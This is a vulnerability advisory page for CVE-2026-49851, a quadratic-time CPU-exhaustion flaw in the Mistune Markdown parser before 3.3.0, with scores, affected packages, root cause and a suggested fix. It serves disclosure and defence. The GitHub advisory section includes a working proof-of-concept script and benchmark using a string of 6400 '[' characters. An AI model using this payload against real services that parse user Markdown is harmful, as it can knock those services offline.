CVE-2026-49851
JSON

8.7high

Mistune: Potential DoS via quadratic-time parsing in parse_link_text

Severity
8.7high CVSS:4.0 by GitHub_M
Exploit likelihood
0.52% (higher than 45% of CVEs; EPSS, by FIRST)
Published
Last changed
Assigned by
GitHub_M
Also known as
GHSA-qcq2-496w-v96pPYSEC-2026-2652

Description

Mistune is a Python Markdown parser with renderers and plugins. Prior to 3.3.0, Mistune is vulnerable to a CPU exhaustion DoS due to superlinear (approximately O(n²)) behavior in parse_link_text. When parsing Markdown containing many consecutive [ characters, parse_link_text repeatedly scans the input using a regex search inside a loop. Each iteration re-scans a large portion of the remaining string, resulting in quadratic-time behavior. An attacker-controlled Markdown input can therefore trigger excessive CPU usage with a very small payload. This vulnerability is fixed in 3.3.0.

Affected

Product or packageVersionsReported by
lepture mistune< 3.3.0CVE List
rhoai/odh-pipeline-runtime-datascience-cpu-py312-rhel9Not specified
Not affected: from 1787073866 before *
CVE List
rhoai/odh-pipeline-runtime-minimal-cpu-py312-rhel9Not specified
Not affected: from 1787073936 before *
CVE List
rhoai/odh-pipeline-runtime-pytorch-cuda-py312-rhel9Not specified
Not affected: from 1787073873 before *
CVE List
rhoai/odh-pipeline-runtime-pytorch-llmcompressor-cuda-py312-rhel9Not specified
Not affected: from 1787073459 before *
CVE List
rhoai/odh-pipeline-runtime-pytorch-rocm-py312-rhel9Not specified
Not affected: from 1787073611 before *
CVE List
rhoai/odh-pipeline-runtime-tensorflow-cuda-py312-rhel9Not specified
Not affected: from 1787073451 before *
CVE List
rhoai/odh-pipeline-runtime-tensorflow-rocm-py312-rhel9Not specified
Not affected: from 1787073451 before *
CVE List
rhoai/odh-th06-cpu-torch210-py312-rhel9Not specified
Not affected: from 1787076778 before *
CVE List
rhoai/odh-th06-cuda130-torch210-py312-rhel9Not specified
Not affected: from 1787077779 before *
CVE List
rhoai/odh-th06-rocm64-torch291-py312-rhel9Not specified
Not affected: from 1787076481 before *
CVE List
rhoai/odh-workbench-jupyter-datascience-cpu-py312-rhel9Not specified
Not affected: from 1787074331 before *
CVE List

All scores

GitHub_M8.7high CVSS:4.0CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N
redhat-SADP7.5high CVSS:3.1CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
GitHub7.5high CVSS:3.1CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
GitHubhigh CVSS:4.0CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N
PyPA Advisory Database7.5high CVSS:3.1CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
PyPA Advisory DatabaseNot scored CVSS:4.0CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N

Classification

CWE-400CWE-407CWE-770CWE-1333

SSVC (CISA-ADP): exploitation poc, automatable yes, technical impact partial.

What each source says

CVE List

Mistune is a Python Markdown parser with renderers and plugins. Prior to 3.3.0, Mistune is vulnerable to a CPU exhaustion DoS due to superlinear (approximately O(n²)) behavior in parse_link_text. When parsing Markdown containing many consecutive [ characters, parse_link_text repeatedly scans the input using a regex search inside a loop. Each iteration re-scans a large portion of the remaining string, resulting in quadratic-time behavior. An attacker-controlled Markdown input can therefore trigger excessive CPU usage with a very small payload. This vulnerability is fixed in 3.3.0.

GitHub Advisory Database
Summary

Mistune is vulnerable to a CPU exhaustion DoS due to superlinear (approximately O(n²)) behavior in parse_link_text. A relatively small input consisting of repeated [ characters causes significant parsing slowdown.

Affected component

mistune/inline_parser.py → parse_link_text

Description

When parsing Markdown containing many consecutive [ characters, parse_link_text repeatedly scans the input using a regex search inside a loop. Each iteration re-scans a large portion of the remaining string, resulting in quadratic-time behavior. An attacker-controlled Markdown input can therefore trigger excessive CPU usage with a very small payload.

Root cause

The vulnerability stems from a two-loop interaction:

  • The outer loop in InlineParser.parse() (inline_parser.py) advances only 1 character at a time when parse_link() returns None
  • Each failed attempt calls parse_link_text() which performs an O(n) scan to the end of the string looking for a closing ]
  • With n consecutive [ characters, this results in O(n) × O(n) = O(n²) total work
PoC

Run below python script

import mistune
import time

md = mistune.create_markdown()

s = "[" * 6400

t = time.perf_counter()
md(s)
print(time.perf_counter() - t)
image

Benmark poc Run below code for benchmark

import mistune
import time

md = mistune.create_markdown()

sizes = [100,200,400,800,1600,3200,6400]

for n in sizes:
    s = "[" * n

    t0 = time.perf_counter()
    md(s)
    dt = time.perf_counter() - t0

    print(f"{n:6d} {dt:.6f}")
image
Observed behaviour
python3 benchmark.py 
   100 0.001609
   200 0.003207
   400 0.012906
   800 0.050220
  1600 0.197307
  3200 0.801172
  6400 3.190393

Execution time grows superlinearly, consistent with O(n²) complex

Impact

This can be used as a denial-of-service attack in any application that parses user-supplied Markdown using Mistune, including:

  • Web applications (comments, posts, content rendering)
  • API services processing Markdown
  • Documentation rendering systems
  • A small (~6 KB) payload can block CPU for multiple seconds.
Suggested fix

Return the furthest scanned position from parse_link_text even on failure, so the outer loop can skip ahead instead of advancing 1 character at a time

Security Classification

CWE-400: Uncontrolled Resource Consumption Denial of Service (CPU exhaustion)

NVD (es)

Mistune es un analizador de Markdown para Python con renderizadores y complementos. Antes de la 3.3.0, Mistune es vulnerable a un DoS por agotamiento de CPU debido a un comportamiento superlineal (aproximadamente O(n²)) en parse_link_text. Al analizar Markdown que contiene muchos caracteres [ consecutivos, parse_link_text escanea repetidamente la entrada utilizando una búsqueda de expresiones regulares dentro de un bucle. Cada iteración vuelve a escanear una gran parte de la cadena restante, lo que resulta en un comportamiento de tiempo cuadrático. Una entrada de Markdown controlada por un atacante puede, por lo tanto, desencadenar un uso excesivo de la CPU con una carga útil muy pequeña. Esta vulnerabilidad se corrigió en la 3.3.0.

References

Sources

SourceRecordLicence
CVE ListCVE-2026-49851 changed 2026-08-28CVE Terms of Use
GitHub Advisory DatabaseGHSA-qcq2-496w-v96p changed 2026-09-10CC-BY-4.0
NVDCVE-2026-49851 changed 2026-10-25Public domain
PyPA Advisory DatabasePYSEC-2026-2652 changed 2026-07-13CC-BY-4.0